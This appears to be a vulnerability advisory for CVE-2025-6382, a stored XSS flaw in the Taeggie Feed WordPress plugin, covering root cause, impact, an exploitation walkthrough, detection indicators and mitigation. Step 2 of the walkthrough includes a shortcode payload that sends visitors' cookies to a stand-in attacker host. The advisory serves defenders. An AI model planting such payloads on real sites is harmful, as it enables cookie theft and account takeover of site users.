CVE-2025-6382: 
WordPress vulnerability analysis and mitigation

CVE-2025-6382 is a Stored Cross-Site Scripting (XSS) vulnerability in the Taeggie Feed plugin for WordPress, affecting all versions up to and including 0.1.10. The flaw allows authenticated attackers with contributor-level access or above to inject arbitrary web scripts into pages via the taeggie-feed shortcode's name attribute. It was published on July 24, 2025, and carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, Wordfence).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The plugin's render() method takes the user-supplied name attribute from the taeggie-feed shortcode and injects it directly into a <script> tag — both as the element's id attribute and inside a jQuery.getScript() call — without any sanitization or escaping. An attacker with at least contributor-level WordPress access can craft a malicious shortcode payload that, when the page is rendered, executes arbitrary JavaScript in the browsers of any visiting users (Red Hat CVE).

Successful exploitation enables persistent JavaScript execution in the context of any user who visits an affected page, impacting confidentiality (e.g., session cookie theft, credential harvesting) and integrity (e.g., page content manipulation, redirection to malicious sites). Because the scope is changed (S:C in CVSS), the injected script can affect resources beyond the plugin's own context. Availability is not directly impacted, but the attack could be leveraged to escalate privileges or compromise site administrators (Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported as of the time of disclosure. The EPSS score is approximately 0.027%, indicating a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a contributor-level WordPress account, which limits the attack surface compared to unauthenticated vulnerabilities (Red Hat CVE, Wordfence).

1. Obtain contributor access: Register or compromise a WordPress account with at least contributor-level privileges on the target site running Taeggie Feed ≤ 0.1.10.
2. Craft malicious shortcode: Create or edit a post/page and insert a taeggie-feed shortcode with a malicious name attribute, e.g., [taeggie-feed name="malicious"></script><script>document.location='https://attacker.com/?c='+document.cookie</script>"].
3. Publish the content: Submit the post for review or publish it directly (depending on role permissions), embedding the payload into the page's rendered HTML.
4. Trigger execution: When any user (including administrators) visits the injected page, the browser renders the unsanitized <script> tag, executing the attacker's JavaScript payload.
5. Achieve objective: Harvest session cookies, redirect victims to phishing pages, or perform actions on behalf of the victim user within the WordPress site (Red Hat CVE).

• Logs: WordPress post/page edit logs showing contributor-level users inserting taeggie-feed shortcodes with unusual or encoded name attribute values; web server access logs with requests to pages containing taeggie-feed shortcodes followed by outbound requests to external domains.
• File System: No file-system artifacts expected for this XSS vector, but check for unexpected JavaScript files or modified theme files if the attacker escalated access.
• Network: Outbound HTTP requests from victim browsers to attacker-controlled domains shortly after visiting pages with the taeggie-feed shortcode; unusual cookie or credential data in query strings of outbound requests.
• Application: WordPress database entries in wp_posts or wp_postmeta containing taeggie-feed shortcodes with <script> tags or JavaScript event handlers embedded in the name attribute.

Users should update the Taeggie Feed plugin to a version beyond 0.1.10 that includes proper output escaping for the name attribute in the render() method. If no patched version is yet available, site administrators should disable the plugin immediately and audit existing posts/pages for malicious shortcode usage. Additionally, restricting contributor-level user registration and enforcing the principle of least privilege can reduce the attack surface (Red Hat CVE, Wordfence).

Wordfence included CVE-2025-6382 in its weekly WordPress vulnerability report for July 21–27, 2025, flagging it as part of routine plugin security monitoring. Red Hat also tracked the CVE, though it does not directly affect Red Hat products. No significant researcher commentary or broader media coverage has been identified beyond standard vulnerability aggregation (Wordfence, Red Hat CVE).